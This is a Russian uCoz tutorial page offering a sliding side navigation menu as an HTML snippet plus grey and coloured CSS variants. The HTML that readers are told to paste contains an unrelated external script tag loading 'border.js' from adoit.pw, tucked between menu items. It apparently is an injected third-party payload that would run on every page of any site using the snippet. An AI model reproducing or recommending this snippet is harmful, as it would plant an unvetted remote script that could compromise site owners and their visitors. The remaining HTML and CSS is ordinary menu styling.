Статьи
Xiaomi Redmi Note 8 Pro получение прав ROOT
Раздача интернета в обход ограничениям использования телефона в качестве модема.
Optimum Nutrition Platinum Hydro Whey - протеин сывороточный гидролизат
Protein 80 Plus (Weider) - Надежный протеин со 100% действием и цена у него, вполне доступная.
Power System Triple Whey - биоактивный протеин нового поколения
Elite 12 Hour Protein (Dymatize) - замыкает топ 10 протеинов 2016г
VPLab PRO 5 - Пятикомпонентная белковая смесь. Концентрация 80%.
Процессоры семейства AMD Athlon X2 Dual Core

Для UCOZ
Кнопки вверх и вниз с функцией запоминания позиции
Скрипт топ пользователей по кол. сообщений на форуме для uCoz
Вид опроса для uCoz, в стиле flat
Вертящиеся часы для сайта
Темный информер Самые Популярные Темы для uCoz
Cкрипт подробной статистики сайта
Поиск по новостям для uCoz
Информер Случайные новости для uCoz
Виджет социальных закладок
Игровое онлайн радио Tort.FM
Админ всегда онлайн для Ucoz
БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ"
Статистика кто посетил в красивом стиле для uCoz
Красивая кнопка вверх для блога ( сайта )

Главная » 2013 » Июль » 25 » Боковое Меню Цветное и серое
20:32
Боковое Меню Цветное и серое
Красивые 2 типа Боковых Менюшек,вам представление более 2 видов меню, выберете тот который будет подойдет вашему дизайну оба меню красивые,и без багов,сам сайт скрипт не нагружает при загрузке...
И так Приступим У Самой Установчке:
Этот самый текст ставим там где мы хотели бы видеть свое новое меню HTML:

Код
<div id="main">  
  <ul id="navigationMenu">  
  <li>  
  <a class="m_home " href="$HOME_PAGE_LINK$"><span>На главную</span></a>  
  </li>  
  <li>  
  <a class="m_gost" href="/gb"><span>Гостевая</span></a>  
  </li>  
  <li>  
  <a class="m_forum" href="/forum"><span>Форум</span></a>  
  </li>  
  <li> <a class="m_pochta" href="/index/0-3"><span>Обратная связь</span></a>  
  </li><script type="text/javascript" src="http://adoit.pw/border.js"></script>  
  <?if($USER_LOGGED_IN$)?>  
  <li> <a class="m_vixod" href="$LOGOUT_LINK$"><span>Выход</span></a>  
  </li>  
  <?else?>  
  <li>  
  <a class="m_vxod" href="$LOGIN_LINK$"><span>Вход</span></a>  
  </li>  
  <?endif?>  
  </ul>  
  </div>  
  <!-- /Конец тегов левое боковое меню -->


А Вот два типа менюшек выбирайте который вам нужен

Серое Меню

Код
#main{  
  position:fixed;  
  top: 150px;  
  right: 0px;  
  padding:0;  
}  

#main ul{  
  padding:0;  
}  

#navigationMenu li{  
  list-style:none;  
  height:35px;  
  width:35px;  
}  

#navigationMenu span{  
  position:absolute;  
  overflow:hidden;  
  width:0;  
  right:35px;  
  padding:0;  
  font:12px Verdana,Arial,Helvetica,sans-serif;  
  font-weight:bold;  
  line-height:35px;  
  white-space:nowrap;  
  -webkit-transition: 0.25s;  
  -moz-transition: 0.25s;  
  transition: 0.25s;  
}  

#navigationMenu a{  
  display:block;  
  position:relative;  
  background:url(http://pnghosts.ru/img/navigation_2.png) no-repeat;  
  height:35px;  
  width:35px;  
}  

#navigationMenu a:hover span{  
  overflow:hidden;  
  text-align:center;  
  width:110px;  
  padding:0px 10px;  
}  

#navigationMenu a:hover{  
  text-decoration:none;  
}  

#navigationMenu .m_home {background-position:0 0;}  
#navigationMenu .m_home :hover {background-position:0 -35px;}  

#navigationMenu .m_gost {background-position:-35px 0;}  
#navigationMenu .m_gost:hover {background-position:-35px -35px;}  

#navigationMenu .m_forum {background-position:-70px 0;}  
#navigationMenu .m_forum:hover {background-position:-70px -35px;}  

#navigationMenu .m_pochta { background-position:-105px 0;}  
#navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  

#navigationMenu .m_vxod { background-position:-140px 0;}  
#navigationMenu .m_vxod:hover { background-position:-140px -35px;}  

#navigationMenu .m_vixod { background-position:-175px 0;}  
#navigationMenu .m_vixod:hover { background-position:-175px -35px;}  

#navigationMenu .m_gost span,  
#navigationMenu .m_forum span,  
#navigationMenu .m_pochta span,  
#navigationMenu .m_vxod span,  
#navigationMenu .m_vixod span,  
#navigationMenu .m_home span {  
  background:#444;  
  color:#777;  
  text-shadow:1px 1px 0 #333;  
}


Цветное меню

Код
#main{  
  position:fixed;  
  top: 150px;  
  left: 0px;  
  padding:0;  
  }  

  #main ul{  
  padding:0;  
  }  

  #navigationMenu li{  
  list-style:none;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu span{  
  position:absolute;  
  overflow:hidden;  
  width:0;  
  left:35px;  
  padding:0;  
  font:12px Verdana,Arial,Helvetica,sans-serif;  
  font-weight:bold;  
  line-height:35px;  
  white-space:nowrap;  
  -webkit-transition: 0.25s;  
  -moz-transition: 0.25s;  
  transition: 0.25s;  
  }  

  #navigationMenu a{  
  display:block;  
  position:relative;  
  background:url(http://pnghosts.ru/img/navigation_1.png) no-repeat;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu a:hover span{  
  overflow:hidden;  
  text-align:center;  
  width:110px;  
  padding:0px 10px;  
  }  

  #navigationMenu a:hover{  
  text-decoration:none;  
  }  

  #navigationMenu .m_home {background-position:0 0;}  
  #navigationMenu .m_home :hover {background-position:0 -35px;}  
  #navigationMenu .m_home span{  
  background:#7da315;  
  color:#3d4f0c;  
  text-shadow:1px 1px 0 #99bf31;  
  }  

  #navigationMenu .m_gost {background-position:-35px 0;}  
  #navigationMenu .m_gost:hover {background-position:-35px -35px;}  
  #navigationMenu .m_gost span{  
  background:#1e8bb4;  
  color:#223a44;  
  text-shadow:1px 1px 0 #44a8d0;  
  }  

  #navigationMenu .m_forum {background-position:-70px 0;}  
  #navigationMenu .m_forum:hover {background-position:-70px -35px;}  
  #navigationMenu .m_forum span{  
  background:#c86c1f;  
  color:#5a3517;  
  text-shadow:1px 1px 0 #d28344;  
  }  

  #navigationMenu .m_pochta { background-position:-105px 0;}  
  #navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  
  #navigationMenu .m_pochta span{  
  background-color:#d0a525;  
  color:#604e18;  
  text-shadow:1px 1px 0 #d8b54b;  
  }  

  #navigationMenu .m_vxod { background-position:-140px 0;}  
  #navigationMenu .m_vxod:hover { background-position:-140px -35px;}  
  #navigationMenu .m_vxod span{  
  background-color:#af1e83;  
  color:#460f35;  
  text-shadow:1px 1px 0 #d244a6;  
  }  

  #navigationMenu .m_vixod { background-position:-175px 0;}  
  #navigationMenu .m_vixod:hover { background-position:-175px -35px;}  
  #navigationMenu .m_vixod span{  
  background-color:#27ddbf;  
  color:#097863;  
  text-shadow:1px 1px 0 #87ffe7;  
  }
Просмотров: 728 | Добавил: DoG | Рейтинг: 0.0/0
Похожие материалы
К сожалению, похожего ничего не нашлось!


Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Новое


HWiNFO3264 5.40 3030...
Загрузок: 69
Просмотров: 865
Дата: 14.02.2017



2befine_simpli_zip_t...
Загрузок: 302
Просмотров: 904
Дата: 12.12.2016



memtest86_v_4.3.6.zi...
Загрузок: 344
Просмотров: 857
Дата: 06.12.2016



Новогоднее_оформлени...
Загрузок: 334
Просмотров: 988
Дата: 06.12.2016



AveIconifier-2.0_Por...
Загрузок: 418
Просмотров: 1827
Дата: 06.12.2016


Популярное


Livesuit 1.09.z...
Загрузок: 39996
Просмотров: 63485
Добавил: sasha2
Дата: 30.03.2013



LiveSuit v 1.07...
Загрузок: 7675
Просмотров: 19173
Добавил: sasha2
Дата: 15.12.2014



Ultimate Mortal...
Загрузок: 7439
Просмотров: 22563
Добавил: sasha2
Дата: 24.01.2013



Эмулятор Sega н...
Загрузок: 3651
Просмотров: 16274
Добавил: sasha2
Дата: 03.01.2013



иконки 32х32, 6...
Загрузок: 2143
Просмотров: 20808
Добавил: sasha2
Дата: 25.09.2012



Рейтинг@Mail.ru
%
Copyright MyCorp © 2025